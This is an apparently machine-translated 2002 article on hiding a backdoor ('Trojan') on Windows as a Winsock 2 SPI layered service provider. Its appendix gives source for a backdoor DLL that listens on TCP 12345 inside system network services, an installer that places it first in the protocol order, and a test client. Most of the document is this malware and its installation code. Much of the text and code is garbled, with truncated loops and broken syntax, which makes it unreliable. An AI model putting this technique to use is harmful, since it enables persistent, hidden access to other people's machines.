One. Hide of the process underwindows, two. Windows socket 2 SPI technology overview 3. SPI-based DLL Trojan technology four. Main code analysis five. Summary and postscript six. Appendix source code
I) Hidden in the 32-bit operating system of Windows under M $, there are many ways to implement process hidden features. Under Win98, register the program into system services to be hidden in the process list, but under NT / 2000, due to the operating system adds a number of features to make the process hidden to a new height. Among them, DLL Trojans is a very popular form that adds yourself to other executable files, so that our DLL file does not appear in the task manager, but our DLL carrier EXE file. In the art of Jeffrey Richter, several ways to insert a DLL, such as add Trojan DLL, Troy DLL mode, using Windows hooks and remote threads, etc., I will not do it. Detailed detail. Now introducing a new way to hide the process, which is still existing in the form of a DLL (also needed to be loaded by other executable files), and also has a portable feature. It is the new feature of Windows Socket 2, the Service Provider Interface, SPI attempts to support all 32-bit Windows operating systems, and of course, Windows 95.
2) Windows Socket 2 SPI Technical Overview Winsock 2 SPI is a new feature that is provided for personnel who write service providers. Winsock 2 not only provides a Windows Socket Application Programming Interface (API) that supplies the network service, but also includes the WINSOCK service provider interface (SPI) and WS2_32 implemented by the transfer service provider and the name resolution service provider. DLL. Here, the transfer service provider is hidden in the process. The following is the relationship between the application, WS2_32.dll and the transmission service provider interface: ---------------------------- | Windows Socket 2 app | ---------------------------- Windows Socket 2 API | WS2_32.DLL | -------- -------------------- Windows Socket 2 Transfer SPI | Transport Service Provider (DLL) | ---------------- ------------ Transport service provider is existing in the form of a DLL, it has only one inlet function, that is, Wspstartup, where the parameter LPWSAPRTOCOL_INFOW structure pointer determines the type of service provider, Other 30 transport service provider functions are called in a distribution table. When the network application calls the WSASocket / Socket function, there will be three parameters: address family, socket type and protocol, is the three parameters to determine which type of transfer service provider came. Implement the function of this application. In the entire hierarchy, WS2_32.dll only acts as a medium, and the application is an implementation of the user function, and the virtual network transmission function is the transmission service provider interface. There are some default service providers in the current system, which have implemented most basic functions, so we only have to "modify" datagrams when writing service provider programs, and send data reports to system services. The provider implements the remaining functions.
There are three protocols in the service provider: hierarchical protocols, basic protocols, and protocol chains. The way to distinguish between the structure of the Protocolchain structure in WSAPROTOCOL_INFOW is achieved. The CHAINLEN value of the layered protocol is 0, the value of the base protocol is 1, and the value of the protocol chain is greater than 1. In fact, the layered protocols and basic protocols do not have much difference in functional implementation (all can be forwarded by calling the system service provider), but there is very different installations. When installing the underlying protocol, we replace all the basic service providers' DLL file names and paths to our custom base protocol; after installing the hierarchical protocol, we must also form a protocol chain associated with the hierarchical agreement. Then install the protocol chain. After all the service providers are installed, we must also rearrange their installation order, this is important. When our WSasocket / Socket creates a socket, WS2_32.dll will match the service provider that matches the three parameters provided in the service provider database and the WSAStartup / Socket, if there are two identical types The service provider exists in the service provider database, then the service provider before the order will be called. Typically, after we have installed your own service providers, you will rearrange your service providers at the forefront. In the instance instbd.exe, we use a hierarchical agreement to show how to install the transport service provider. WS2_32.dll is the use of standard dynamic link libraries to load the service provider interface DLL to the system and call Wspstartup to initialize. Wspstartup is the initialization function of the Windows Socket 2 application calls the SPI program, that is, the entrance function. Wspstartup parameter LPWSAPROTOCOL_INFOW Pointer Provides the protocol information expected by the application, and then through this structural pointer we can get the Save system service provider's DLL name and path, load the system service provider, find the Wspstartup function of the system SPI program. The pointer, we can associate the Wspstartup functions of your own service provider and the Wspstartup function of the system SPI program, and then call the system of each service provider function. In the implementation of the data transfer service provider, we need two programs, one is the executable to install the transport service provider; the other is the DLL form of data transfer service provider.
3) SPI-based DLL Trojan Technology We have already introduced the characteristics of the transport service provider, let us see if this technology is used to hide the Trojan process. There are system network services in each operating system, which is automatically loaded when the system is started, and many are based on IP protocols. If we write an IP protocol's transport service provider and install the front end of the service provider database, the system network service will load our service provider. If the Trojan is embedded in the service provider's DLL file, our Trojans will be started when the system network service is started. This form of DLL Trojan only must be installed once, and then it will be automatically loaded into the process of executable, and there is a feature that it will be loaded by multiple network services. Usually, when the system is closed, the system network service will end, so our Trojan can also remain active when the system is running. In the transport service provider, 30 SPI functions exist in the form of allocation tables. Most functions in WS2_32.dll have corresponding transmission service provider functions. For example, WSPRECV and Wspsend, the corresponding functions in WS2_32.dll are WSARECV and WSasend. We assume that it has written a service provider based on the IP protocol and is installed in the system. When the system is restarted, it is loaded by the svchost.exe program, and SVCHOST.EXE is listened to 135 / TCP, and it has a per ANDF. In our transmission service provider, you re-written the WSPRECV function, and the data received is analyzed. If you contain the eyeli number sent by the client, you can perform the corresponding command to get the desired action, then we can call the wspsend function. Send the results to the client, not only hidden the process, but also reuse existing ports. 4) Main Code Analysis 1.INSTBD.EXE Execute Program Instbd.exe's main function is to install our own hierarchical transport service provider and rearrange all the order of all transport service providers, so that our service provider is in an agreement. The top of the chain, such a corresponding type of application first enters our transmission service provider interface. This program has only one parameter, which is installation (-Install) or uninstall. As a demonstration, this program only has IP hierarchical protocols and protocol chains associated with TCP. In Backdoor.dll, we don't make any modifications to datagrams, just launching our Trojan Process. Custom Function: BOOL getfilter (); // Get all installed transport service provider void freefilter (); // Release storage space void installfilter (); // Install hierarchical protocol, protocol chain and sort Void RemoveFilter () ; // Uninstall the hierarchical protocol and protocol chain
Code Analysis: protoinfo = (LPWSAPROTOCOL_INFOW) GlobalAlloc (GPTR, protoinfosize); // allocate storage totalprotos WSAPROTOCOL_INFOW structure = WSCEnumProtocols (NULL, protoinfo, & protoinfosize, & errorcode); // get all service provider system installed in the GetCurrentDirectory ( Max_path, filter_path); // Get the current path _TCSCPY ("// backdoor.dll")); // Construct Service Provider File Backdoor.dll Path Full Name WSCINSTALLPROVIDER (& Filterguid, Filter_Path, & iPlayerInfo, 1 , & errorcode); // Install custom IP hierarchical protocol iPlayerCataId = protoinfo [i] .dwcatalogenTryID; // Get unique sign allocated by WS2_32.dll with the installed custom IP hierarchical protocol UDPChaininfo.Protocolchain.ChainenTries [0 ] = iPlayerCataid; // Put the custom IP hierarchical protocol as the root layer service provider of the custom UDP protocol chain WSCINSTALLPROVIDER (& Filterchainguid, Filter_Path, ChainArray, provcNT, & ErrorCode); // Installation protocol chain WSCWriteProviderOrder (cataentries, totalprotos); // update installation sequence all the service providers, the self-service providers defined ranked in the forefront of all agreements WSCDeinstallProvider (& filterguid, & errorcode); // unload IP layered protocol WSCDeinstallProvider (& filterchainguid & errorcode); // Uninstall protocol chain
2. BackDoor.dll Transport Service Provider exists in the form of a dynamic link library, loaded by WS2_32.dll when the application needs, is uninstalled after running. The transmission service provider has only one entry function is WspStartup, which is the initialization function of the Windows Socket application call SPI, and the calls of other SPI functions are implemented by the parameter WspCallTable of Wspstartup. There is a global variable that can be used to call the DLL program read and modification. When we load the service provider for the first time, we start the Trojan process. Demonstration There is no special feature in the Trojan process. When the client and the listener server port connection, if the client sends a specific taper, the server will send a specific message. Custom function: int WSPAPI WSPStartup (WORD wversionrequested, LPWSPDATA lpwspdata, LPWSAPROTOCOL_INFOW lpprotoinfo, WSPUPCALLTABLE upcalltable, LPWSPPROC_TABLE lpproctable); // SPI function WSPStartup Windows Socket API functions and corresponding WSAStartup 2, WSPStartup is the only entry function, the remaining 30 SPI functions are implemented by parameter upCallTable, they can only be called internally, with portal code analysis: hthread = CreateThread (null, 0, backdoor, null, 0, null); // Create Trojan Process It is only showing data of data GETMODULEFILENAME (NULL, ProcessName, Max_Path); // Get full name OutputDebugstring of executable of calling this service provider dynamic link library (_t ("start the backdoor ..."); / / Output Debugging Information Layerid = Protoinfo [i] .dwcataloGENTRYD; // Get unique flag allocated by WS2_32.dll = lpprotoinfo-> protocolchain.chainentries [i 1]; // The next layer of transmission service provider's logo information wscgetProviderpath (& protoirefo [i] .providerid, filterpath, & filterpathlen, & errorcode); // Get the next layer of transport service provider's installation path expandenvironmentstrings (FilterPath, FilterPath, Max_Path); // Extended environment variable hfilter = loadingLibrary (filterPath)); // Loads the next layer of transport service provider WspstartupFunc = (LPWSPSTARTUP) GetProcaddress (Hfilter, "WSP STARTUP ")); // Get the inlet function WspstartUp of the next layer transfer service provider to call WspstartupFunc (WSPROTOINFO, UPWSPDATA, LPPROTOINFO, UPCALLTABLE, LPPROCTABLE); // Call the next flimation of Wspstartup functions, implementation Hook function nextproctable = * lpproctable; // Save 30 service function pointers of the next layer of service provider
Since the service provider in the form of a dynamic link library provides an inlet function out, there is also a configuration file backdoor.def: exports wspstartup // provides an inlet function wspstartup3.testbd.exe This is a test program for use. Check if the server of Trojans is working properly. After it sends a specific message to the server side, if the server will return to a specific message normally, it will not receive any messages. Since Trojan's server is listening to the 12345 port of TCP, our client is also based on TCP protocol. 5) The purpose of summary and postscript is to introduce you to a programming idea, not any Trojan tutorial. In fact, technology and ideas will continue to increase in the constant confrontation. We only fully understand various technologies, and even forward-looking ability to maintain network order and promote the development of network security. Finally, I will give you an old saying: know each other and know each other.
6) Appendix Source Code 1.BackDoor Source Code #pragma Data_Seg ("Shared") INT DLLCOUNT = 0; #pragma data_seg () # Pragma Comment (Linker, "/ Section: Shared, RWS")
#define unicode # define _unicode
#include
Guid filterGuid = {0xC5FABBD0, 0X9736, 0X11D1, {0x93, 0x7f, 0x00, 0xc0, 0x4f, 0xAD, 0x86, 0X0D}}
LPWSAPROTOCOL_INFOW Protoinfo = NULL; Wspproc_Table NextProctable; DWORD ProtoinFoSize = 0; Handle Hmutex; Handle Hthread; Point Nowpt; Int TotalProtos = 0;
DWORD WINAPI Backdoor (LPVOID) {Socket Sock, Sockt; Wsadata WSA; IRET = 0; CHAR MSG [25]; Struct SockAddr_in sin;
IF (WSAStartup (MakeWord (2, 2), & WSA) {OutputDebugstring (_T ("WsaStartup Error!"))); Return 0;}
IF ((Sock = Socket, Sock_Stream, Ipproto_TCP) == Invalid_Socket) {OutputdeBugString (_T ("Socket Error!")); Return 0;}
Sin.sin_addr.s_addr = htons (inaddr_any); sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (12345);
IF (Bind (Struct SockAddr *) & Sin, SIZEOF (SIN)) == SOCKET_ERROR) {OutputDebugstring (_T ("Bind Error!")); Return 0;}
IF (Listen (Sock, 5) == Socket_ERROR) {OutputDebugstring (_t ("listen error!")); return 0;} while (1) {IF ((sockt = accept (sock, null, null) == Socket_ERROR) {OutputDebugstring (_t ("accept error!")); Continue;}
IF ((IRet == RECV (Sockt, MSG, SIZEOF (MSG), 0)) == Socket_ERROR) {OutputdeBugString (_T ("Recv Error!")); CloseSocket (Sockt); Continue;}
IF (STRSTR (MSG, "I am Too2Y")) {MEMSET (MSG, 0, SIZEOF (MSG)); Memcpy (MSG, "I am Waiting for you!", SIZEOF (MSG) -1);
IF ((IRET == Send (Sockt, MSG, SIZEOF (MSG), 0)) == Socket_ERROR) {OutputDebugstring (_T ("Send Error!")); ClosSocket (Sockt); Continue;}} OutputDebugstring (_t "Transport successful")); CloseSocket (Sockt);} returnit 1;}
Bool getfilter () {int errorcode;
Protoinfo = NULL; protoinfosize = 0; TotalProtos = 0;
if (WSCEnumProtocols (NULL, protoinfo, & protoinfosize, & errorcode) == SOCKET_ERROR) {if (! errorcode = WSAENOBUFS) {OutputDebugString (_T ( "First WSCEnumProtocols Error!")); return FALSE;}}
IF ((LPWSAPROTOCOL_INFOW) Globalalloc (GPTR, ProtoinFoSize) == null) {OutputDebugstring (_T ("GlobalAlloc Error!"); Return False;}
IF ((Totalprotos = WSCENUMPROTOCOLS (Null, Protoinfo, & ProtoinFoSize, & Error)) == Socket_ERROR) {OutputDebugstring (_T ("SECOND WSCENUMPROTOCOLS ERROR!")))); Return False;}
Return True;}
Void freefilter () {globalfree (protoinfo);}
Bool WinApi Dllmain (Hinstance HModule, DWord Reason, LPvoid LPreserved) {tchar processname [MAX_PATH]; Tchar showMessage [MAX_PATH 25];
switch (reason) {case DLL_PROCESS_ATTACH: {GetModuleFileName (NULL, processname, MAX_PATH); _tcscpy (showmessage, processname); _tcscat (showmessage, _T ( "Loading my dll ...")); OutputDebugString (showmessage); hmutex = CreateMutex (NULL, FALSE, NULL); WAITFORSINGLEOBJECT (HMUTEX, Infinite); DLLCount ; if (Dllcount == 1) {OutputDebugstring (_T ("Start the Backdoor ..."); hthread = CreateThread (null, 0, Backdoor, NULL, 0, NULL);} ReleaseMutex (hmutex); break;} case DLL_PROCESS_DETACH: {WaitForSingleObject (hmutex, INFINITE); dllcount--; if (dllcount == 0) {CloseHandle (hthread);} ReleaseMutex (hmutex); CloseHandle (HTHREAD); Break;}} Return True;
int WSPAPI WSPStartup (WORD wversionrequested, LPWSPDATA lpwspdata, LPWSAPROTOCOL_INFOW lpprotoinfo, WSPUPCALLTABLE upcalltable, LPWSPPROC_TABLE lpproctable) {int i; int errorcode; int filterpathlen; DWORD layerid = 0; DWORD nextlayerid = 0; TCHAR * filterpath; HINSTANCE hfilter; LPWSPSTARTUP wspstartupfunc = NULL ;
IF (LPPROTOINFO-> protocolchain.chainlen <= 1) {Outputdebugstring (_T ("chainlen <= 1")); return false;} getfilter ();
For (i = 0; i for (i = 0; i IF (! ") {OutputDebugstring (_T (" ExpandenvironmentStrings Error! ")); Return WsaeproviderFaileDinit;} IF ((Hfilter = loadLibrary (FilterPath)) == null) {OutputDebugstring (_T ("LoadLibrary Error!")); Return WsaeproviderFailedinit;} IF ((Wspstartupfunc = (LPWSPSTARTUP) GetProcaddress (Hfilter, "Wspstartup")) == null) {OutputDebugstring (_T ("getProcessAddress Error!"); return wsaeproviderfailedinit;} if ((errorcode = wspstartupfunc (wversionrequested, lpwspdata, lpprotoinfo, upcalltable, lpproctable)) = ERROR_SUCCESS!) {OutputDebugString (_T ( "wspstartupfunc Error!")); return errorcode;} NextPROCTABLE = * LPPROCTABLE; Freefilter (); return 0; 2.INSTBD Source Code #define Unicode # define _unicode #include Guid filterGuid = {0xC5FABBD0, 0X9736, 0X11D1, {0x93, 0x7f, 0x00, 0xc0, 0x4f, 0xAD, 0x86, 0X0D}} GUID filterchainguid = {0xf9065320,0x9e90,0x11d1, {0x93,0x81,0x00,0xc0,0x4f, 0xad, 0x86,0x0d}}; BOOL getfilter (); void freefilter (); void installfilter (); void removefilter (); void START (); void usage (); INT TOTALPROTOS = 0; DWORD protoinfosize = 0; lpwsaprotocol_infow protoinfo = null; INT Main (int Argc, char * argv []) {start (); IF (argc == 2) {if (! strcmp (argv [1], "- install")) {installfilter (); return 0;} else if (! Strcmp (Argv [1], "- remote"))) {Transovefilter (); return 0;}} usage (); returnography; Bool getfilter () {int errorcode; Protoinfo = NULL; TOTALPROTOS = 0; protoinfosize = 0; if (WSCEnumProtocols (NULL, protoinfo, & protoinfosize, & errorcode) == SOCKET_ERROR) {if (errorcode = WSAENOBUFS!) {printf ( "First WSCEnumProtocols Error:% d / n", errorcode); return FALSE;}} IF ((LPWSAPROTOCOL_INFOW) Globalalloc (GPTR, ProtoinFosize) == NULL) {Printf ("GlobalLoc in getfilter error:% d / n", getLastError (); return false;} IF ((TotalProtos = WSCENUMPROTOCOLS (NULL, PROTOINFO, & ProtoinFoSize, & errorcode) == Socket_ERROR) {Printf ("SECOND WSCENUMPROTOCOLS ERROR:% D / N", getLastError ()); return false;} Printf ("Found% D protocols! / n", totalprotos; Return True; Void freefilter () {globalfree (protoinfo);} void installfilter () {int i; int provcnt; int cataindex; int errorcode; BOOL rawip = FALSE; BOOL tcpip = FALSE; DWORD iplayercataid = 0, tcporigcataid; TCHAR filter_path [MAX_PATH]; TCHAR filter_name [MAX_PATH]; TCHAR chainname [WSAPROTOCOL_LEN 1]; LPDWORD cataentries; WSAPROTOCOL_INFOW iplayerinfo, tcpchaininfo, chainarray [1]; getfilter (); for (i = 0; i if (! tcpip && protoinfo [i] .iAddressFamily == AF_INET && protoinfo [i] .iProtocol == IPPROTO_TCP) {tcpip = TRUE; tcporigcataid = protoinfo [i] .dwCatalogEntryId; memcpy (& tcpchaininfo, & protoinfo [i], sizeof ( Wsaprotocol_infow); tcpchaininfo.dwserviceflags1 = protoinfo [i] .dwserviceflags1 & (~ xp1_ifs_handles);}} _TCSCPY (iPlayerInfo.szProtocol, _Text ("IP filter"); iPlayerInfo.protocolchain.Chainlen = Layered_Protocol; IF (GetCurrentDirectory (MAX_PATH, FILTER_PATH) == 0) {Printf ("getCurrentDirectory Error:% D / N", getLastError ()); return;} _tcscpy (filter_name, _text ("// backdoor.dll"); _tcscat (Filter_Path, Filter_Name); IF (WSCINSTALLPROVIDER (& Filterguid, Filter_Path, & iPlayerInfo, 1, & ErrorCode) == Socket_ERROR) {Printf ("WSCINSTALLPROVIDER ERROR:% D / N", ERRORCODE); Return;} Freefilter (); Getfilter (); For (i = 0; i provcnt = 0; if (tcpip) {swprintf (chainname, _TEXT ( "TCP FILTER")); _tcscpy (tcpchaininfo.szProtocol, chainname); if (tcpchaininfo.ProtocolChain.ChainLen == BASE_PROTOCOL) {tcpchaininfo.ProtocolChain.ChainEntries [1 ] = tcporigcataid;} else {for (i = tcpchaininfo.protocolchain.Chainlen; i> 0; i -) {tcpchaininfo.protocolchain.chainenince [i 1] = tcpchaininfo.protocolchain.ChainenTries [i];}} TCPChainfo.Protocolchain.Chainlen ; tcpchaininfo.protocolchain.chainentries [0] = iPlayerCataID; Memcpy (& ChainArray [provcnt ], & tcpchainInfo, sizeof (wsaprotocol_infow); IF (WSCINSTALLPROVIDER (FilterchaingUID, Filter_Path, ChainArray, Provcnt, & Error) == Socket_ERROR) {Printf ("WSCINSTALLPROVIDER for Chain Error:% D / N", ErrorCode; Return;} Freefilter (); Getfilter (); IF (CataEntries = (LPDWORD) Globalalloc (GPTR, TOTALPROTOS * SIZEOF (WSAPROTOCOL_INFOW)) == NULL) {Printf ("GlobalLoc Int Installfilter Error:% D / N", ErrorCode; Return;} CATAINDEX = 0; for (i = 0; i IF ((ERRORCODE == WSCWRITEPROVIDERORDER (CataEntries, Totalprotos))! = error_success) {Printf ("WSCWRITEPROVIDERORDER ERROR:% D / N", getLastError ()); Return;} Freefilter (); Void Removefilter () {Int ErrorCode; IF (WscdeInstallProvider (& Filterguid, & ErrorCode) == Socket_ERROR) {Printf ("WSCDeinstall Filterguid Error:% D / N", ErrorCode);} IF (WscdeInstallProvider (& FilterchaingUid, & ErrorCode) {Printf ("WscdeInstall FilterchaingUid Error:% D / N", ErrorCode;} return; Void Start () {Printf ("Install Backdoor, By TOO2Y / N"); Printf ("e-mail: Too2y@safechina.net/n"); Printf ("Homepage: www.safechina.net/n"); Printf ("DATE: 11-3-2002 / N / N"); return; void usage () {Printf ("instbd [-install | -remove] / n"); return;} 3.TestBD Source Code #include Int main () {wsadata WSA; Socket Sock; struct sockaddr_in sin; char msg [25] = "i am Too2y"; int rt; Printf ("=== [Test for SPI Backdoor] === / N"); Printf ("=== [TOO2Y AT 11-3-2002] === / N / N"); if (WSAStartup (MakeWord (2, 2), & WSA)) {Printf ("WsaStartup Error:% D / N", Wsagetlasterror ()); getChe (); Return -1;} IF ((SOCK = Socket, Sock_Stream, Ipproto_TCP) == Invalid_Socket) {Printf ("Socket Error:% D / N", WsageTlasterror ()); getChe (); Return -1;} Sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (12345); IF (Connect (Struct SockAddr *) & Sin, SIZEOF (SIN)) == SOCKET_ERROR) {Printf ("Connect Error:% D / N", WsageTlasterror ()); getChe (); Return -1;} IF ((IRET = Send (Sock, MSG, SIZEOF (MSG), 0)) == Socket_ERROR) {Printf ("Send Error:% D / N", Wsagetlasterror ()); getChe (); Return -1;} MEMSET (MSG, 0, SIZEOF (MSG)); IF ((IRet = Recv (Sock, MSG, SIZEOF (MSG), 0) == Socket_ERROR) {Printf ("Recv error:% d / n", Wsagetlasterror ))); GetChe (); return -1;} Printf ("Re:"); Printf (MSG); CloseSocket (SOCK); wsacleanup (); getche (); return 0;} about Us: